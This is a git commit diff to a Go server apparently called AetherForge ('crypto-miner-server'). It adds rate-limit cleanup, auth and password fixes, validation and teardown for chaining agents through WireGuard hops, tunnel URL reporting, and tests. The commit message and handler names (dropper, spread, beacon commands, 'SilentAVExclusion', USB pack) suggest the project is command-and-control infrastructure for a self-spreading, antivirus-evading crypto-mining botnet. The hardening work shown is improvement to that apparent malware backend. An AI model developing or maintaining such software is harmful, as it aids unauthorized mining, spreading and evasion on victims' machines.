Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -32,6 +32,9 @@ func allowAgentWSUpgrade(clientIP string) bool {
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
if len(filtered) == 0 {
|
||||
delete(agentWSRateLim.attempts, clientIP)
|
||||
}
|
||||
if len(filtered) >= agentWSRateLimitMax {
|
||||
agentWSRateLim.attempts[clientIP] = filtered
|
||||
return false
|
||||
|
||||
@@ -49,8 +49,8 @@ func TestAuthCacheHitAndMiss(t *testing.T) {
|
||||
|
||||
func TestGenerateRandomPasswordLength(t *testing.T) {
|
||||
pw := generateRandomPassword()
|
||||
if len(pw) != 8 {
|
||||
t.Fatalf("expected 8-char hex password, got len %d (%q)", len(pw), pw)
|
||||
if len(pw) != 16 {
|
||||
t.Fatalf("expected 16-char hex password (8 random bytes), got len %d (%q)", len(pw), pw)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -70,6 +70,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
webRoot := filepath.Join(dataDir, "webroot")
|
||||
@@ -77,7 +78,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -489,6 +490,14 @@ func TestIntegrationBuilderRoutes(t *testing.T) {
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
|
||||
}
|
||||
|
||||
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
|
||||
if rec.Code == http.StatusNotFound {
|
||||
t.Fatal("builder/path-forge route not registered")
|
||||
}
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntegrationBlueprintsCRUD(t *testing.T) {
|
||||
|
||||
@@ -106,12 +106,7 @@ func (h *PathTracerHandler) expireSessions() {
|
||||
h.mu.Unlock()
|
||||
for _, sess := range expired {
|
||||
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
h.teardownHops(sess.Hops)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -131,6 +126,23 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
seen := make(map[string]bool, len(req.AgentIDs))
|
||||
for _, id := range req.AgentIDs {
|
||||
id = strings.TrimSpace(id)
|
||||
if id == "" {
|
||||
http.Error(w, "agent_ids required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if seen[id] {
|
||||
http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
seen[id] = true
|
||||
if !h.hub.isAgentConnected(id) {
|
||||
http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
clientPriv, clientPub, err := generateServerWGKeyPair()
|
||||
if err != nil {
|
||||
@@ -146,11 +158,14 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
clientPubKey: clientPub,
|
||||
}
|
||||
|
||||
// Build hops with placeholder names (agent name lookup below).
|
||||
for i, id := range req.AgentIDs {
|
||||
agentName := fmt.Sprintf("hop-%d", i+1)
|
||||
if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
|
||||
agentName = ag.Name
|
||||
}
|
||||
sess.Hops = append(sess.Hops, &HopInfo{
|
||||
AgentID: id,
|
||||
AgentName: fmt.Sprintf("hop-%d", i+1),
|
||||
AgentName: agentName,
|
||||
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
||||
Port: 51820,
|
||||
Status: HopPending,
|
||||
@@ -239,13 +254,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// Tell all agents to tear down.
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
h.teardownHops(sess.Hops)
|
||||
|
||||
h.mu.Lock()
|
||||
delete(h.sessions, id)
|
||||
@@ -326,6 +335,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = r.err
|
||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
||||
} else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = "missing public key or external IP"
|
||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
|
||||
} else {
|
||||
r.hop.PublicKey = r.pub
|
||||
r.hop.ExternalIP = r.ip
|
||||
@@ -347,6 +360,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
h.mu.Unlock()
|
||||
if anyFailed {
|
||||
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
||||
h.teardownHops(sess.Hops)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -430,11 +444,24 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
if allReady {
|
||||
sess.Ready = true
|
||||
}
|
||||
hops := sess.Hops
|
||||
h.mu.Unlock()
|
||||
if !allReady {
|
||||
h.teardownHops(hops)
|
||||
}
|
||||
|
||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
|
||||
for _, hop := range hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
||||
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
||||
var peers []map[string]interface{}
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/gorilla/websocket"
|
||||
@@ -367,6 +368,52 @@ func TestPathTracerBuildClientConfig(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerStartResolvesAgentName(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "trace-agent-named"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: "Edge Node Alpha",
|
||||
Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
|
||||
// WS auth overwrites name with hostname; restore operator label for resolution test.
|
||||
if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body := `{"agent_ids":["` + agentID + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var startResp struct {
|
||||
Hops []HopInfo `json:"hops"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(startResp.Hops) != 1 {
|
||||
t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
|
||||
}
|
||||
if startResp.Hops[0].AgentName != "Edge Node Alpha" {
|
||||
t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerStartValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
|
||||
@@ -375,4 +422,20 @@ func TestPathTracerStartValidation(t *testing.T) {
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
dupBody := `{"agent_ids":["agent-a","agent-a"]}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Start(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
offlineBody := `{"agent_ids":["offline-agent"]}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Start(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,6 +55,7 @@ func authCacheHit(user, pass string) bool {
|
||||
func authCacheSet(user, pass string) {
|
||||
key := authCacheKey(user, pass)
|
||||
authSessionCacheMu.Lock()
|
||||
defer authSessionCacheMu.Unlock()
|
||||
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
||||
// Prune expired entries opportunistically.
|
||||
if len(authSessionCache) > 512 {
|
||||
@@ -65,7 +66,6 @@ func authCacheSet(user, pass string) {
|
||||
}
|
||||
}
|
||||
}
|
||||
authSessionCacheMu.Unlock()
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -356,7 +356,7 @@ func validateDashboardUsername(username string) error {
|
||||
}
|
||||
|
||||
func generateRandomPassword() string {
|
||||
b := make([]byte, 4)
|
||||
b := make([]byte, 8)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return "aether1!"
|
||||
}
|
||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -538,7 +538,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if publicURLOverride != nil {
|
||||
override = publicURLOverride()
|
||||
}
|
||||
GetServerInfo(w, r, override, listenPort)
|
||||
tunnelReady := false
|
||||
if cloudflaredConfigured != nil {
|
||||
tunnelReady = cloudflaredConfigured()
|
||||
}
|
||||
GetServerInfo(w, r, override, listenPort, tunnelReady)
|
||||
})
|
||||
|
||||
// Dashboard
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -5,26 +5,41 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
cachedLocalIPs []string
|
||||
cachedLocalIPsAt time.Time
|
||||
cachedLocalIPsMu sync.Mutex
|
||||
localIPsCacheTTL = 30 * time.Second
|
||||
)
|
||||
|
||||
type ServerInfo struct {
|
||||
Port int `json:"port"`
|
||||
Host string `json:"host"`
|
||||
LocalIPs []string `json:"local_ips"`
|
||||
SuggestedURL string `json:"suggested_url"`
|
||||
DashboardURL string `json:"dashboard_url"`
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
Port int `json:"port"`
|
||||
Host string `json:"host"`
|
||||
LocalIPs []string `json:"local_ips"`
|
||||
LANURL string `json:"lan_url"`
|
||||
TunnelURL string `json:"tunnel_url,omitempty"`
|
||||
CloudflaredConfigured bool `json:"cloudflared_configured"`
|
||||
SuggestedURL string `json:"suggested_url"`
|
||||
DashboardURL string `json:"dashboard_url"`
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
}
|
||||
|
||||
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
|
||||
// lan_url is always the LAN http endpoint for workers on the same network.
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
|
||||
if listenPort <= 0 {
|
||||
listenPort = 8989
|
||||
}
|
||||
|
||||
localIPs := listLocalIPv4()
|
||||
localIPs := listLocalIPv4Cached()
|
||||
lanURL := lanURLFromIPs(localIPs, listenPort)
|
||||
tunnelURL := tunnelURLFromRequest(r)
|
||||
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
||||
|
||||
host := r.Host
|
||||
@@ -37,17 +52,40 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
|
||||
}
|
||||
|
||||
info := ServerInfo{
|
||||
Port: port,
|
||||
Host: host,
|
||||
LocalIPs: localIPs,
|
||||
SuggestedURL: suggestedURL,
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
Port: port,
|
||||
Host: host,
|
||||
LocalIPs: localIPs,
|
||||
LANURL: lanURL,
|
||||
TunnelURL: tunnelURL,
|
||||
CloudflaredConfigured: cloudflaredConfigured,
|
||||
SuggestedURL: suggestedURL,
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
}
|
||||
|
||||
writeJSON(w, info)
|
||||
}
|
||||
|
||||
func lanURLFromIPs(localIPs []string, listenPort int) string {
|
||||
if len(localIPs) == 0 {
|
||||
return ""
|
||||
}
|
||||
return formatBaseURL("http", localIPs[0], listenPort)
|
||||
}
|
||||
|
||||
func tunnelURLFromRequest(r *http.Request) string {
|
||||
scheme := requestScheme(r)
|
||||
if scheme != "https" {
|
||||
return ""
|
||||
}
|
||||
host := requestHost(r)
|
||||
hostOnly, port := hostAndPort(host, scheme)
|
||||
if isLoopbackHost(hostOnly) {
|
||||
return ""
|
||||
}
|
||||
return formatBaseURL(scheme, hostOnly, port)
|
||||
}
|
||||
|
||||
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
||||
if norm := normalizePublicURL(publicOverride); norm != "" {
|
||||
return norm
|
||||
@@ -141,6 +179,21 @@ func httpToWS(base string) string {
|
||||
return "ws://" + strings.TrimPrefix(base, "http://")
|
||||
}
|
||||
|
||||
func listLocalIPv4Cached() []string {
|
||||
cachedLocalIPsMu.Lock()
|
||||
defer cachedLocalIPsMu.Unlock()
|
||||
if cachedLocalIPs != nil && time.Since(cachedLocalIPsAt) < localIPsCacheTTL {
|
||||
out := make([]string, len(cachedLocalIPs))
|
||||
copy(out, cachedLocalIPs)
|
||||
return out
|
||||
}
|
||||
cachedLocalIPs = listLocalIPv4()
|
||||
cachedLocalIPsAt = time.Now()
|
||||
out := make([]string, len(cachedLocalIPs))
|
||||
copy(out, cachedLocalIPs)
|
||||
return out
|
||||
}
|
||||
|
||||
func listLocalIPv4() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
@@ -187,6 +240,9 @@ func parsePort(s string) int {
|
||||
return 8989
|
||||
}
|
||||
n = n*10 + int(ch-'0')
|
||||
if n > 65535 {
|
||||
return 8989
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
return 8989
|
||||
|
||||
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989)
|
||||
GetServerInfo(rec, req, "", 8989, false)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
@@ -71,7 +71,7 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443", 8989, false)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
@@ -91,7 +91,7 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
||||
req.Header.Set("X-Forwarded-Proto", "https")
|
||||
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989)
|
||||
GetServerInfo(rec, req, "", 8989, true)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
@@ -100,4 +100,31 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
||||
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
|
||||
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
|
||||
}
|
||||
if info.TunnelURL != "https://nothing.thetempleofdoom.com" {
|
||||
t.Fatalf("tunnel_url = %q, want https public endpoint", info.TunnelURL)
|
||||
}
|
||||
if !info.CloudflaredConfigured {
|
||||
t.Fatal("expected cloudflared_configured=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetServerInfoLANURLFromLocalhost(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989, false)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.TunnelURL != "" {
|
||||
t.Fatalf("tunnel_url should be empty on localhost, got %q", info.TunnelURL)
|
||||
}
|
||||
if len(info.LocalIPs) > 0 && info.LANURL == "" {
|
||||
t.Fatalf("expected lan_url when local IPs present: %+v", info)
|
||||
}
|
||||
if len(info.LocalIPs) > 0 && info.LANURL != formatBaseURL("http", info.LocalIPs[0], 8989) {
|
||||
t.Fatalf("lan_url = %q, want %s", info.LANURL, formatBaseURL("http", info.LocalIPs[0], 8989))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -524,7 +524,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
}
|
||||
h.db.SetAgentOffline(agentID)
|
||||
if err := h.db.SetAgentOffline(agentID); err != nil {
|
||||
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_offline",
|
||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||
@@ -753,36 +755,44 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
}
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
oldConn.Close()
|
||||
h.mu.Lock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.agents[agentID] = ac
|
||||
}
|
||||
// startPing tracks whether a new ping goroutine is needed.
|
||||
// If the same connection is re-authing (rare but possible), the existing
|
||||
// ping loop is still healthy — starting a second one would create two
|
||||
// concurrent writers racing on conn.WriteControl.
|
||||
startPing := !alreadyConnected
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
oldConn.Close()
|
||||
h.mu.Lock()
|
||||
startPing = true // fresh connection after displacing old one
|
||||
}
|
||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
// Only start a ping loop for genuinely new connections.
|
||||
if startPing {
|
||||
go h.runPingLoopAgent(ac)
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
@@ -1312,13 +1322,11 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
for id, dc := range h.dashboards {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
// Only close the connection here. HandleDashboardWS owns all map
|
||||
// cleanup via its existing defer — doing it here too would cause a
|
||||
// double-delete that corrupts the remaining-count used for the
|
||||
// presence_update broadcast (SRV-B4).
|
||||
dc.Conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, id)
|
||||
h.mu.Unlock()
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user